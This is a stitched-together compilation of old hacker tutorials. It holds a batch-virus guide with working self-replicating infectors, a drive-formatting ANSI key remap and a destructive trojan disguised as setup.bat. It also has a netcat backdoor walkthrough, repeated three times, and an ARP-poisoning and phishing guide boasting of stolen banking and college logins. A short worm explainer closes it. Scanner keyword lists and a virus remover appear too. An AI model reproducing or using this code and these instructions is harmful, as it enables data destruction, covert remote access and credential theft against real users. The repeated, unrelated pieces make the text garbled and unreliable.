Part 1: Introduction
This document is written for lamerz in batch language. This explains the true basics of batch file programming. Even experienced programmers could probably learn a thing or to from this document. Now back in the good old days batch files were quite popular among virus writers because of the sheer simplicity of them. But people now days have been guided to Pascal, Delphi and C++. Those mentioned are very good and powerful programming languages but I don't know about you but I think they are boring and hard to cope with. Batch is the language for YOU! Simple to pick up and powerful at the same time. Now if you want to learn batch then keep reading other wise go back to watching Eastenders. Ok people you are the chosen ones.... Continue to the next part.
Part 2: Basic commands
Now there are loads of commands you should already know which are used in DOS. But if you dont know DOS I suggest you go get a book out from your local library and read your ass off because that is the only way to learn.
Commands listed below I hope you should already know: -
Command.com
Find.exe
Choice.com
Attrib.exe
Mem.exe
More.com
Sort.exe
Filz you should know about are: -
Autoexec.bat (especially this one would help)
Config.sys
Msdos.sys
Tmpdelis.bat
Dosstart.bat
win.ini
System.ini
Now filz such as these will help you in your understanding of batch language.
I will explain what each one does and how it can be used, are you ready...-
Command.com = the command interpreter, dos needs this to function!
Find.exe = can be used to search through almost anything for anything! (More on that later)
Choice.com = used for menu system functions e.g. a/b/c?
Attrib.exe = sets attributes on filz to make them read only or hidden
Mem.exe = Tells you about memory resources
More.com = More on this later :)
Sort.exe = Sorts data (not to sure on this one)
Autoexec.bat = start-up file processes functions and drivers needed
Config.sys = start-up file processes functions and drivers needed
Msdos.sys = same as above but go look in this one, it is interesting, go on play a little.
Tmpdelis.bat = is a windows batch file go look inside for more info...
Dosstart.bat = windows batch file used for dosprompt to load.
Win.ini/system.ini = windows initiation filz play with these and say good by to Winblows 95/98/NT
Heres some more details about some of the DOS commands:
FIND.EXE = This command is very powerful indeed. Yet to the everyday ignorant user this file means nothing! This file can search through files for specific words, through memory for specific files (tsr's) and through the bios for date, time day etc... This means i could if i wanted to see what the date is and if it is my specified date i could make my virus activate. You see where i am coming from now? It is a very powerful tool, for good and bad! In respect to the good side you could use this program to search through memory to find specific viruses such as the stoned and aircop virus, thus a virus detector!
CHOICE.COM = This file is not bad at all. It is for mainly menu systems in batch files, but can be used in other ways if the user wishes to. For instence this program can tell the difference between yes and no. It also has a delay sequence that you can activate, thus using it for timed viruses, e.g. Your Pc is going reset in 10 seconds.
This is a useful tool in viral programming, because you can get the user to activate the virus, by just pressing a key.
ANSI.SYS = This file is widley used in BFV's, it has unlimited use. Its main ability is that it can redirect keys to do commands, for example i could program the [a] key to format the hard drive. This is so powerful and dangerous, because it is so easy to do:
Prompt $e[97;"echo Y| format c:/u >nul";13p
Just that line could destroy the whole hard drive with out the user knowing. To use Ansi.sys it must be loaded into memory through config.sys file.
ATTRIB.EXE = This file is used in DOS for putting attributes on files making them read-only and/or hidden. Great concealment for bfv's.
Each command is some where along the line used in batch filz. But not all the time because they are not needed. For instance a simple batch file below, which asks the user to enter a password, needs no commands just pure batch language.
@Echo off
echo Enter password then [F6] and then smack the [Enter] key real hard!
prompt $e[30m
echo on
echo off
copy con password.dat>nul
prompt $e[0m
echo on
echo off
cls
copy password.set+password.dat password.bat>nul
call password.bat
if '%password%=='r3dhat goto done
echo Incorrect, you are not trying to break into my pc are you?
choice /t:y,3
if errorlevel 2 goto next
:next
erase password.bat
erase password.dat
:hello
cls
echo Turn off PC
goto hello
:done
erase password.dat
erase password.bat
set password=
prompt $p$g
Simple batch file, which asks the user for a password, and if they type it incorrect then the program will put them in an endless loop! Simple but effective. Other features; are that when typing the password the text colour is set to black so you cant see it then it resets the colour back to normal when finished. Erm...what else? Oh yeah it makes two files puts them together to make another batch file then runs it to set a variable into memory, then the password.bat file will look in memory to check what the user wrote to see if it is correct. Good thinking hey! Well experiment with this one can be interesting. Any bugs or improvements email me at linuxpir8@yahoo.com
Part 3: Viruses Explained
Now lets get one thing clear! A virus is not a program that gets on your hard drive by magic and then formats it.
A virus is a program, made to replicate/copy itself from one file to another. It can not infect files unless you RUN it! Most viruses come off disks or the NET and the user doesn't even realise until his MICROSOFT software decides it doesn't want to work anymore. (I THINK IT MIGHT BE BEST TO MENTION THAT I HATE MICROSOFT AND THE ONLY GOOD THING THAT HAS COME OF THEM IS MSDOS!)
Now despite my hatred towards Machosoft, i think that most viruses are aimed at Windows/x these days due to the mass numbers that use the O/S. But remember where there is Windows there is MSDOS!!! And where there is msdos there are batch filz and where there are batch filz there are my viruses.
A simple diagram: -
xxxxxxxxxxxxxx xxxxxxxxxxxxxx
x Mat156.bat x x mat156.bat x
xxxxxxxxxxxxxx xxxxxxxxxxxxxx
v virus v
vvvvvvvvvvvvvv
^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^
uninfected infected
That is the difference between the infected and the uninfected in batch filz.
Part 4: Simple Batch File Virus
Below I'm going to make up a virus then explain how it works. OK here goes....
Virus.bat
@echo off
ctty nul
for %%f in (*.bat) do copy %%f + virus.bat
ctty con
Thats it, simple infection routine that infects all batch filz in the current directory. This kind of infection is not popular among virus writers due to the way it infects. This virus will not only infect itself, but if it cant find anything to infect it will loop and re-infect all other batch filz all over again until all the memory or system resources are taken up. This is a bug but also a feature. It just appends itself on any batch file, lame but somewhat effective if used in the correct context. Try it out and play with it, as no real damage can occur. Mind you it is very quick, so if you leave it for ten seconds it probably will have infected other batch filz about 600 times. Batch file viruses are very fast. Im am now going to attempt to explain what each line does: -
@echo off - turns off the commands written in the program so the user cannot see what you are typing.
ctty nul - disables the keyboard and screen output, meaning you cant stop the virus unless you turn off your PC.
for %%f in (*.bat) do copy %%f + virus.bat - this puts the virus in all batch files in the current directory.
ctty con - re-enables the keyboard and the screen display.
Hope fully you understood all that and you are ready to go onto something more advanced.
Part 5: Advanced programming
OK here is the technical stuff. Variables! We set variables so that we can identify stuff. E.g.
set virus=*.bat
That command means that I can now say virus instead of *.bat. Meaning I can now say infect virus, instead of saying infect *.bat. May seem pointless but in the context that variables are used in it can be very powerful. Below is a virus that uses variables to infect: -
@ctty nul.LR
for %%a in (*.bat) do set LR=%%a
find "LR"<%LR% if errorlevel 1 find "LR<%0>>%LR%
ctty con.LR
This virus uses the variable LR to identify the batch file to infect. Now I will try to explain what this virus is doing in the simplest terms I can, ok you ready? Right this virus will disable the keyboard then search through all the batch filz until it reaches the last one, then it sets the variable LR to the last batch file found, ok so far so good. So now we have a variable assigned to a file. Then it searches through the file for the Key string (variable) LR and if it has it in there it wont infect it again but if it doesn't it will goto the next line. This is where the infection takes place. The virus finds the key string which you should have now guessed is LR which is on every line of the virus and then it finds the letters LR from %0 which is the current file normally the virus, and then gets all the lines with LR on them and inserts them into the file that the variable was assigned to earlier. Finally the virus then enable the keyboard for the user. Badly explained I know but try it out and put a few pause marks in the file and watch what it does! Suprisingly simple. This program is covered more clearly in my article about batch file viruses.
Part 6: Programs made in batch
I have not made that many programs in batch but use your imagination and you can. For example I earlier showed you the password file, I have also made a batch file virus remover, but what I haven't made is a virus detector. My friend at my college gave me the challenge to make a batch file that detects viruses or destructive commands so me and my big mouth took him up on the idea and came up with a lame program. Searches memory for popular memory resident viruses on a small scale, this could be enlarged to any number of viruses!
@echo off
echo [1] Stoned virus
echo [2] Aircop virus
choice /c:12
if errorlevel 2 goto aircop
:stoned
mem /c|find /i "stoned!" >nul
if errorlevel 1 goto no_virus
:virus
echo Sorry to inform you but you are infected with the stoned virus!
goto done
:no_virus
echo Congratulations man you are clean
:aircop
mem /c|find /i "Aircop" >nul
if error level 1 goto no_virus2
:virus
echo You have the Aircop virus.....Unlucky!
goto done
:no_virus2
echo You lucky son of a bitch no virus found!
:done
Very lame technique but if used on a larger scale it works really well and it tells you how much system resources the virus has taken up as well!
Alrighty then on to the real challenge, searching for destructive commands within BAT, COM, and EXE files. I did not make this program!! But phuck me it works!
@echo off
if '%2=='Loop goto loop
echo *** ANSI/BATCH SCANNER ***
set mask=%1 %2 %3 %4 %5 %6 %7 %8 %9
if '%mask%==' set mask=*.*
for %%f in (%mask%) do call %0 %%f Loop
goto done
:loop
if not exist %1 goto done
set line=
:: escape and tab characters
set esc=
set tab=
find "%esc%["<%1>nul
if not errorlevel 1 set line=%line%EscSeq
find /i "$e["<%1>nul
if not errorlevel 1 set line=%line%PromptSeq
find ";13p"<%1>nul
if not errorlevel 1 set line=%line%KeyRedef
if '%line%==' goto checkbad
find """p"<%1>nul
if not errorlevel 1 set line=%line%Key2
set hit=0
find "0p"<%1>nul
if not errorlevel 1 set hit=1
find "1p"<%1>nul
if not errorlevel 1 set hit=1
find "2p"<%1>nul
if not errorlevel 1 set hit=1
find "4p"<%1>nul
if not errorlevel 1 set hit=1
find "5p"<%1>nul
if not errorlevel 1 set hit=1
find "6p"<%1>nul
if not errorlevel 1 set hit=1
find "7p"<%1>nul
if not errorlevel 1 set hit=1
find "8p"<%1>nul
if not errorlevel 1 set hit=1
find "9p"<%1>nul
if not errorlevel 1 set hit=1
if %hit%==1 set line=%line%Key3
:checkbad
find /i "DEL "<%1>nul
if not errorlevel 1 set line=%line%Del
find /i "DELTREE"<%1>nul
if not errorlevel 1 set line=%line%Deltree
find /i "DEBUG"<%1>nul
if not errorlevel 1 set line=%line%Debug
find /i "ATTRIB "<%1>nul
if not errorlevel 1 set line=%line%Attrib
find /i "FORMAT C:"<%1>nul
if not errorlevel 1 set line=%line%Format
find /i "*.BAT"<%1>nul
if not errorlevel 1 set line=%line%BAT
find /i "*.EXE"<%1>nul
if not errorlevel 1 set line=%line%EXE
find /i "*.COM"<%1>nul
if not errorlevel 1 set line=%line%COM
echo %1 %tab%%line%
:done
set mask=
set line=
set hit=
set esc=
set tab=
Part 7: Viral writing groups
There are plenty of virus writing groups around but they all seem to be in it for fame? People that inspired me where Dark Avenger - who could program any batch file to do any thing!! Hellraiser - who hates Bill gates, but at the same time has some really good ideas, and Lucifer Messiha - who really put the v into virus. These guys dont write anymore but if they did then the viral comunity would be bowing down to them. Viral writing groups are to competetive, they are good at what they do but seem to be complete idiotic adolescents. The time i joined a writing group i thought, oh yeah im good but the reality of it was that i was not writing viruses for fun but i was writing viruses to compete. If you get to the stage that you can program a virus and you want to join a viral group then just remember the fun side of it, do it for yourself. I dont know if you've every heard of Rock Steady, but he wrote loads of viruses (destructive ones) and gave them to John mcaffee pretending he was a victim of this virus. This would then get the virus noticed and the anti virus program makes his virus well known, but at the same time it can be cured. Whta i mean is once you send in a virus the next anti-virus John brings out with have info on Rock Steadys virus. Is it worth it? He is a glory creator! By the way he turns out to be only 15 years old!!! Thats pritty much it on virus writing groups, lets now move on and go to ethics and moral matters concerning viruses.
Part 8: Ethics & morality
OK here is why i am always screwing at people about destructive viruses and trojans. Imagine yourself saving up a whole load of cash, and then buying a new software package. But to your dismay some little **** puts a destructive program on the package and it wipes your whole disk!!! Now if your hard drive contained the amount of valuable data that mine does, i tell ya you'll be pissed! imagine a whole years work from college on it being deleted! See my point. Most people that do make these programs are beginners trying to show off there power, more often than not they are lamerz! Any one can make a program to del all files (erase *), simple stuff. Now the only time destruction pops into my mind is if i get expelled from college or sacked from work i might be tempted to leave a logic bomb on a pc that went off on my bosses birthday or something. But never for nothing, its just not worth it. Alright thats enough of me blabbing on read the rest of this document and enjoy!
Part 9: Trojan story and programming Trojans
It all started off years ago, when two tribes went to war, one tribe lost. This tribe how ever never gave up, they sent a big wooden horse (trojan horse) as a token of there defeat, so when the winning tribe opened there gates and took in the horse the lost tribe jumped out from a secret hatch in the horse and defeated the tribe, thus winning in the end. They only won from concealment.
Now trojans are destructive programs that are made to look like they do good. Now programming trojans is easy but fooling the user takes the mind of a genius. This is how i would do it. I would make a trojan called setup.bat then i would make ten text filz and rename tham all to .DAT filz and pretend the package is a game. Once they run the setup.bat....BOOM trojan loaded and say goodbye. Programming trojans is easy, but getting caught is even easier. You have to make a trojan that can not only destroy filz but also destroy all traces of itself. Here is my program of how i would do it.
@echo off cd\ if exist c:\windows goto winslows if exist c:\dos goto do$ :poof erase * goto end_trojan :winblows cd\windows if exist system.ini del system.ini if exist win.ini erase win.ini ren *.exe *.vxe ren *.dat *.cat ren *.sys *.sex goto end_trojan :do$ cd\dos ren *.com *.kom ren *.exe *.com ren *.kom *.exe if exist c:\command.com erase c:\command.com :end_trojan erase trojan.bat
Extreme basics, but i tell you this would mess up your Windows system for good and Dos would have to be re-installed. Trojans are easy though, so stick to viruses and have PHUN! :)
Part 10: Endless loops for fun?
This bit is lame but what the hey this document is aimed at the lame.(no offence). Here are some simple programs which just loop:-
:loop
dir /s
goto loop
The above displays all the filz on the hard drive and dont stop!
:loop
echo Hello world my name is loopy loo!
goto loop
This one will make the text scroll down the page
@echo off
:poo
cls
echo Loopy loo needs a poo!
pause bell^G^G^G
goto poo
That one beeps in the pc and displays the text.
ok that should be enough. Read the last bit and then goto bed!
Part 11: BFV removal
These batch viruses work by adding code to the beginning and/or the end of the infected BAT files. The extra code can be removed by loading the infected batch into EDIT and deleting the additional lines. Some will create a hidden copy of themselves in the root (or other directory), use ATTRIB filename -s -r -h followed by DEL filename, filename being the actual name of the virus file. The command DIR /AH /S will show all hidden files on a drive.
Here is the code for a batch file virus remover:
@echo off
if '%1=='%temp% goto remove
echo BFV-remover version 1.0
echo =======================
echo ÿ
:start
echo ************** Batch File Virus Remover ****************
echo This will remove any batch file virus if used correctly.
echo BFV-remover will destroy batch files if they do not have
echo a virus!!! So please read the instructions first.
echo Made by l33 Rumbl3
echo ÿ
set ks=%1
set is=%2
if '%ks%==' goto exit
if '%is%==' set is=%ks%
if '%temp%==' set temp=C:\
echo Will remove %ks% from files containing %is%. Proceed?
choice /c:yn>nul
if errorlevel 2 goto exit
for %%v in (*.bat) do call %0 %temp% %%v
if exist rem$$_ del rem$$_
goto exit
:remove
find "%is%"<%2>nul
if errorlevel 1 goto done
echo Found in %2 - remove?
choice /c:yn>nul
if errorlevel 2 goto done
find /v "%ks%">%2>rem$$_
copy rem$$_ %2>nul
goto done
:exit
set is=
set ks=
:done
This program removes viruses that have a unique key, such as the pot virus and the zep virus, although both these viruses do no harm they still are a threat to your data. The major advantage about this program is that it will abstract the virus from the file so that you do not have to delete the file.
This is for batch file viruses only!! It does not work on COM or EXE files!!
Warning! If key is not unique this will destroy files!
Usage:
CLEANBAT Key1 [Key2]
...where Key1 is the UNIQUE signature used by the virus and Key2 is an identifying string. If not specified then Key2 is set to Key1
eg. to kill the skul virus goto DOS and:
type: clean skul
..and that is it, easy, look in your batch files and see if you have any thing out of the ordinary such as the words infect/vir/a certain date.
What is netcat.
Netcat is a networking security tool from the l0pht and can be used to
set up backdoors (ways of returning from a compromised system).
Setting up backdoors.
We must first create a batch file using a simple line command. The line must contain:
nc -L -d -p -t -e cmd.exe
Then we will place the netcat executable (nc.exe) onto the C:\windows\system32 directory.
NOTE: We are talking about win 2000,NT,XP. This wont work on other OS. The reason is simple. Read below and learn.
Then we must place the batch file in the C:\windows\system32 directory and run it. Then we simply need to use a telnet or netcat to connect to our victem. I will explain it using netcat. Open DOS (start->run->cmd.exe) and type in:
C:\WINDOWS\> nc -v
Once you connected to that port on the victem's computer, you'll have a DOS prompt that you can give any command on the victem's computer.
NOTE: The backdoor will close whenever the victem shuts down their
computer. To get it running again, just run the batch file.
Explaining the batch command line.
* nc tells Windows to run the nc.exe file with the following arguments:
*
-L Tells netcat to not close and wait for connections
*
-d Tells netcat not to open a Window when running
*
-p Specifies a port to listen for a connection on
*
-t Tells netcat to accept telnet connections
*
-e Tells what program to run once the port is connected to
How to use it on win 95,98,ME.
First, put the nc.exe file in the c:\windows directory. Put the batch file there too, but this time change the batch command line to:
What is netcat.
Netcat is a networking security tool from the l0pht and can be used to
set up backdoors (ways of returning from a compromised system).
Setting up backdoors.
We must first create a batch file using a simple line command. The line must contain:
nc -L -d -p -t -e cmd.exe
Then we will place the netcat executable (nc.exe) onto the C:\windows\system32 directory.
NOTE: We are talking about win 2000,NT,XP. This wont work on other OS. The reason is simple. Read below and learn.
Then we must place the batch file in the C:\windows\system32 directory and run it. Then we simply need to use a telnet or netcat to connect to our victem. I will explain it using netcat. Open DOS (start->run->cmd.exe) and type in:
C:\WINDOWS\> nc -v
Once you connected to that port on the victem's computer, you'll have a DOS prompt that you can give any command on the victem's computer.
NOTE: The backdoor will close whenever the victem shuts down their
computer. To get it running again, just run the batch file.
Explaining the batch command line.
* nc tells Windows to run the nc.exe file with the following arguments:
*
-L Tells netcat to not close and wait for connections
*
-d Tells netcat not to open a Window when running
*
-p Specifies a port to listen for a connection on
*
-t Tells netcat to accept telnet connections
*
-e Tells what program to run once the port is connected to
How to use it on win 95,98,ME.
First, put the nc.exe file in the c:\windows directory. Put the batch file there too, but this time change the batch command line to:
What is netcat.
Netcat is a networking security tool from the l0pht and can be used to
set up backdoors (ways of returning from a compromised system).
Setting up backdoors.
We must first create a batch file using a simple line command. The line must contain:
nc -L -d -p -t -e cmd.exe
Then we will place the netcat executable (nc.exe) onto the C:\windows\system32 directory.
NOTE: We are talking about win 2000,NT,XP. This wont work on other OS. The reason is simple. Read below and learn.
Then we must place the batch file in the C:\windows\system32 directory and run it. Then we simply need to use a telnet or netcat to connect to our victem. I will explain it using netcat. Open DOS (start->run->cmd.exe) and type in:
C:\WINDOWS\> nc -v
Once you connected to that port on the victem's computer, you'll have a DOS prompt that you can give any command on the victem's computer.
NOTE: The backdoor will close whenever the victem shuts down their
computer. To get it running again, just run the batch file.
Explaining the batch command line.
* nc tells Windows to run the nc.exe file with the following arguments:
*
-L Tells netcat to not close and wait for connections
*
-d Tells netcat not to open a Window when running
*
-p Specifies a port to listen for a connection on
*
-t Tells netcat to accept telnet connections
*
-e Tells what program to run once the port is connected to
How to use it on win 95,98,ME.
First, put the nc.exe file in the c:\windows directory. Put the batch file there too, but this time change the batch command line to:
nc -L -d -p -t -e command.com
Ok, that should be work. The reason is simple. Win 95,98,ME doesnt use execute paths like NT does. If you wouldn't have put the files in System32 directory on NT, the program wouldn't have executed the batch file because it wouldn't have been in the file path - but you don't have to worry about that in 95,98,ME. The reason why we put the files in the c:\windows directory on 95,98,Me is because that's where the command.com file is - the MS-DOS Prompt file. (It's cmd.exe on NT,2000,XP). That's why we ran command.com instead of cmd.exe
Introduction This paper will lay out for you the basics of an ARP Poison Routing (APR) attack and Man in the Middle (Mitm) attacks. These are very simple attacks, but can be very powerful on unsecured networks. These attacks are so easy I could provide you a walkthrough of how to do this in Cain in about one paragraph, but you wouldn’t learn anything and would become a skiddy.
Before reading this, I suggest you learn a little about networks and the OSI 7-layer model (http://www.webopedia.com/quick_ref/OSI_Layers.asp) and media access control (MAC) addresses, as these attacks take advantage of protocols that work on OSI layers other than what you are usually used to (ie, HTTP on layer 7 and TCP on layer 4, whereas ARP works on layer 2) and do not use only IP addresses for identifying computers.
Address Resolution Protocol:
The Address Resolution Protocol (ARP) is a layer 2 protocol that maps IP addresses to hardware MAC addresses. When a computer wants to find another computer on its network, it uses the ARP to identify where that computer is and how to reach it. There are 9 types of ARP packets, but only 4 are relevant here:
1. ARP – What MAC has this IP address?If you are trying to contact a computer on another network (ie, over the internet) then ARP is used to contact your border gateway and route packets to it. The gateway is then responsible for routing the packets to the desire network using IP addresses and various routing protocols instead of ARP. Once the packet has arrived at the correct network, the router that received it will then use ARP again to route the packet around the network to its final destination.
2. ARP Response – This MAC has this IP address.
3. RARP – What IP has this MAC address?
4. RARP Response – This IP has this MAC address.
The address resolution protocol works on a stateless broadcast request/single reply communication model. This means when one computer wants to know the address of another; it will broadcast a request for the address across the whole network in the form of What computer is 123.123.123.123? Tell 00:FF:AC:C5:56:3B. The computer that has the IP address of 123.123.123.123 would then send a directed reply, NOT broadcast, saying 90:F5:63:CA:BB:32 has 123.123.123.123. The MAC address in the reply is then added to the local computer’s cache, or if a mapping already exists for either the IP or MAC being used, the cache is updated to reflect this new info. The MAC/IP mapping is then used to route traffic around the network.
ARP Poison Routing (APR)
Now that you know the basics of how ARP works, let’s explore some pitfalls in the protocol. As I’ve said before, ARP is a stateless protocol. This means that each computer does not remember the state of its ARP requests/replies, and thus, does not remember if it sent a request or if it is waiting for a reply or has already received a reply to a previous request. So if we send an ARP reply, the host will accept it and alter its cache accordingly, even if the host didn’t send out a request! So if we send a reply to a target computer saying that our MAC address corresponds to the local gateway’s IP, then any traffic coming out of the target computer bound for the internet will be instead routed to your computer. You can use this to execute a DoS attack and prevent any packets from the target computer reaching the internet or you can sniff the packets for passwords and then pass them on to the real gateway. The second method is a very effective way of getting sensitive information and is fairly undetectable unless the target is monitoring their ARP cache constantly. APR can be setup with either 1-way or 2-way poisoning. 1-way poisoning will only poison the cache of a single target and will only intercept traffic coming from that computer, as shown below:
Figure 1: 1-way APR
2-way poisoning effectively puts your computer directly between 2 target computers so that you can intercept network traffic coming from either host, as shown below:
Figure 2: 2-way APR
Some interesting attacks that can be used with APR include DoS attacks, Network sniffing/Packet stealing, and phishing.
DoS attacks can be accomplished using a 1-way poison and by redirecting traffic from a target computer to a gateway that doesn’t exist so they get ICMP Host Unreachable errors for all their network traffic, or you can redirect it to your computer and simply refuse to forward it to the proper destination. Network sniffing and packet stealing as well as Man in the Middle (Mitm) attacks require a 2-way poisoning scheme. Network sniffing and packet stealing would allow you to steal passwords and hashes that are passed over the network. With the proper filters, you can easily pick out plaintext passwords such as FTP, SMTP, HTTP form data, and hashes such as AIM and Yahoo messenger and SQL. You can even listen in on NetBios sessions and Telnet connections. With some simple phishing filters on your APR tool, you can redirect people from one website to one you control that looks the same where the victim will type in their login info unsuspectingly. This is often useful for grabbing plaintext passwords rather than having to brute force password hashes
One of the greatest hazards to be aware of when using APR is unintentional DoSing of the target or the entire network; because your computer is most likely NOT a dedicated router, and because the packets must travel all the way up the OSI model, be analyzed by your sniffer, then repackaged and sent all the way down the OSI model again, your computer can not handle packet routing as efficiently as a dedicated hardware router. This costs a great amount of time and CPU cycles and slows down the flow of traffic that may end up backing up and DoSing the target, the network, your computer, or any combination of the three. This is a serious issue and should not be taken lightly. If you APR a router on a large network, you may have hundreds of thousands of packets going thru your computer each second. Another hazard that is of interest to hackers is the fact that proxies cannot effectively be used, because ARP and APR works on layer 2 and proxies work on either layer 5 or 7 (depending on the amount of anonymity used) and usually require traveling outside the network to a proxy server. This may seem like a huge safety issue for a hacker, but there is hope! While IP addresses are difficult to spoof over the internet while keeping traffic flowing to and from your computer, both the IP address and MAC address can be effectively altered on a LAN. Many tools exist for changing your MAC and IP during APR attacks. Cain provides an option to do this under the “Configure” menu item.
Man In The Middle (Mitm) Attacks
Mitm attacks include a range of possible attacks, from DoSing, to sniffing, phishing, and rerouting for SE purposes. Mitm is started with a 2-way APR attack that in effect inserts your computer between 2 targets (often a host and a gateway). You can then begin the real meat of the mitm by using customized programs and packet filters to gain the effect you need.
For a simple sniffing attack, a network sniffer such as Ethereal with an IP or MAC filter applied to only capture packets to or from the target is sufficient. For more advanced attacks like password grabbing and phishing, you need more advanced filters. In the case of grabbing passwords, you need to have a filter that disassembles the packet to get to the layer 4 data and above, then scan that data for plaintext passwords or hashes such as HTTP POST or GET data, FTP, SMTP, or SQL login info, or you can use a filter to capture an entire NetBios, Telnet, or VoIP session to record conversations and gather potentially sensitive information. Sometimes it is not always desirable to have a password hash, especially when you can get the plaintext password in less time. This is where phishing comes in. Phishing is the art of constructing a website to look exactly like another, then redirecting traffic from the real site to the one you control in the hopes that no one will notice and will happily type in their real login info, assuming that everything is as it should be. Great care should be taken in conducting a phishing style attack, and I will offer some pointers and methods later on.
Because mitm attacks are built on the back of an APR attack, then all the limitations of an APR attack also apply to a mitm attack. But with the increased complexity of a mitm attack, you must also be aware of further limitations. Using complex filters or packet scanners consumes a lot of CPU cycles and can further increase the risk of unintentional DoSing or breaking of the network. Phishing should be used with care as well, because even the smallest difference between your site and the legitimate one will be noticed by daily users and may raise suspicion.
Phishing
Phishing, as already stated, is making a fake site to fool people into giving you their plaintext passwords and login info. There are several methods for creating a phishing site (phishing lure :D). You can attempt to create your copy site from scratch and code it yourself, but chances are people who use the site regularly would know the difference. Another way would be to copy the source code, images (keeping the directory structure in tact), and any stylesheets, javascripts, or embedded objects, then just make a few small changes to the code. Make sure to change all relative directories to absolute URLs when you do this! If you don’t, a form may not direct to the right page or produce a 404 error or an image may not display right and will raise suspicion. This method produces a site that looks and behaves nearly identically to the original, but because it is still being hosted on another server under a different domain name, observant users may spot the anomaly and report it. For low profile targets, this method is fast and effective. The final method I will discuss is how to do it without making a fake site at all. Because you are executing a mitm attack and have full access to every packet that moves to and from the target, you can create a packet filter that will change the ACTION property of a
tag, so that when the victim clicks the login button, the data will be sent to a site of your choice where you can log the information. This method may be slightly easier to execute, but it will increase the risk of unintentional DoSing due to the processing power required for the filter. No matter what method you choose to use, it is almost always a good idea to take the login info that you received from your fake site and pass it on to the real site to log the user on. This makes your attack more hidden and more difficult to detect. When doing this, make sure to catch errors coming back from the real site in case the user entered an invalid password or username. Then pass this information back to the user. This can be done easily and is no big deal to implement, but failing to do so may raise suspicion and may get you caught.
APR with Cain
Most people think of Cain as a simple password hash cracker, but it is actually much more. It is a very powerful network analyzer and password recovery tool as well as a cracker. It can dump protected storages, sniff network connections, enumerate hosts and users as well as network shares, and can even remotely install the backdoor program Abel. Now, on to the good stuff! I will show you a basic password sniffing mitm attack, but first, I assume you have Cain configured properly for your network card. If not, click the “Configure” menu option and read the help files.
Start up Cain and look at the icons in along the top, just under the menu. The 2 icons we will be concerned with here are the nuclear symbol (the APR icon) and the small circuit board with a red arrow (the sniffer icon). If you are not sure which icons I am talking about, hover your mouse over them and find the icons for “Start/Stop Sniffer” and “Start/Stop APR”. Click the sniffer icon to start the sniffer. Now go to the sniffer tab. The table shown in this tab provides you with information about computers currently on your network and should be blank. If not, clear it by right clicking and selecting “remove all”. The most useful columns right now are the first 4: IP Address, MAC Address, OUI Fingerprint, and Host Name. These should be pretty self explanatory with the exception of the OUI Fingerprint column. When a MAC address is coded into a piece of network hardware, part of the address is used to define the particular computer (like a serial number) and part is used to define the vendor that makes the hardware. Cain has a database of vendors that it checks the MAC address against to discover who made the hardware of that particular host. This is what is contained in the OUI Fingerprint column.
Once the sniffer is started, we need to populate the sniffer tab with host info. Click the “+” button to gather a list of all computers on the current network. If you have Ethereal, you can start that up with “arp” in the filter and watch Cain send out consecutive ARP requests for every IP in your subdomain and watch all the computers respond, freely giving away information about themselves. Once we have a list of possible targets, we need to setup an APR attack. Click on the “Start/Stop APR” icon to start the APR poisoner, then click the “APR” tab at the bottom of the “Sniffer” tab window. There are 2 tables in this tab: the top one is hosts on the LAN that you can directly affect, the bottom table is for computers on the WAN, which, depending on the border router’s settings, may or may not be vulnerable to APR. This list is populated as hosts are discovered thru analyzing packets.
Select the LAN table, and click the “+” icon again. Now select 2 hosts to insert yourself between. After that’s done, sit back and watch the packets roll in. Check the “Passwords” tab on the bottom for various passwords, or the branches under the “APR” symbol on the main APR tab to get HTTPS certificates and other valuable information. The APR-DNS branch can be used in phishing and in redirecting traffic from a website. Well, that’s it. That’s all there is to spying on people’s network traffic when you have access to a computer on the network, which is quite often if you go war-driving behind main street, picking up all the “insekure” business wi-fis
Conclusions
On large or sensitive networks, APR and Mitm can be a very effective way of getting valuable information thru many means, including packet filters and sniffers, phishing, and traffic rerouting. Some of the overall limitations of ARP poisoning are that it cannot cross routers unless they are set up as a single autonomous unit (AU) and are contained in the same subnet. ARP poisoning can be easily thwarted if static caches are being used. Static caches prevent host caches from being updated remotely via the ARP protocol. Some of the interesting things I have actually been able to get from APR and Mitm include:
- Webmail and SMTP loginsThings I’ve learned from my exploits: SECURE YOUR Network! And DON’T do important things on a public network (library, school). You never know when Big Brother is watching
- FTP logins to servers running FTPD as root (w00t!)
- FTP logins to websites (pwnt)
- Admin logins to sites
- Student and teacher account logins to my college (I can change their schedules for next year :D)
- AIM convos/hashes and Telnet/SMB/SSH sessions
- Wardriving behind businesses to take over their networks
- Online banking login info and certificates (free moneys!)
Links, References, and Tools
- Cain
- Ettercap
- Ethereal
- ARPoison
- Dsniff
- Parasite
- WinARPSpoofer
- http://en.wikipedia.org/wiki/ARP_spoofing
- http://www.grc.com/nat/arp.htm
People use e-mail more than any other application on the internet, but it can be a frustrating experience, with spam and especially e-mail worms filling our inboxes.
Worms can spread rapidly over computer networks, the traffic they create bringing those networks to a crawl. And worms can cause other damage, such as allowing unauthorized access to a computer network, or deleting or copying files.
What's a worm?
A worm is a computer virus designed to copy itself, usually in large numbers, by using e-mail or other form of software to spread itself over an internal network or through the internet.
How do they spread?
When you receive a worm over e-mail, it will be in the form of an attachment, represented in most e-mail programs as a paper clip. The attachment could claim to be anything from a Microsoft Word document to a picture of tennis star Anna Kournikova (such a worm spread quickly in February 2001).
If you click on the attachment to open it, you'll activate the worm, but in some versions of Microsoft Outlook, you don't even have to click on the attachment to activate it if you have the program preview pane activated. Microsoft has released security patches that correct this problem, but not everyone keeps their computer up to date with the latest patches.
After it's activated, the worm will go searching for a new list of e-mail addresses to send itself to. It will go through files on your computer, such as your e-mail program's address book and web pages you've recently looked at, to find them.
Once it has its list it will send e-mails to all the addresses it found, including a copy of the worm as an attachment, and the cycle starts again. Some worms will use your e-mail program to spread themselves through e-mail, but many worms include a mail server within their code, so your e-mail program doesn't even have to be open for the worm to spread.
Other worms can use multiple methods of spreading. The MyDoom worm, which started spreading in January 2004, attempted to copy infected files into the folder used by Kazaa, a file-sharing program. The Nimda worm, from September 2001, was a hybrid that had four different ways of spreading.
What do they do?
Most of the damage that worms do is the result of the traffic they create when they're spreading. They clog e-mail servers and can bring other internet applications to a crawl.
But worms will also do other damage to computer systems if they aren't cleaned up right away. The damage they do, known as the payload, varies from one worm to the next.
The MyDoom worm was typical of recent worms. It opened a back door into the infected computer network that could allow unauthorized access to the system. It was also programmed to launch an attack against a specific website by sending thousands of requests to the site in an attempt to overwhelm it.
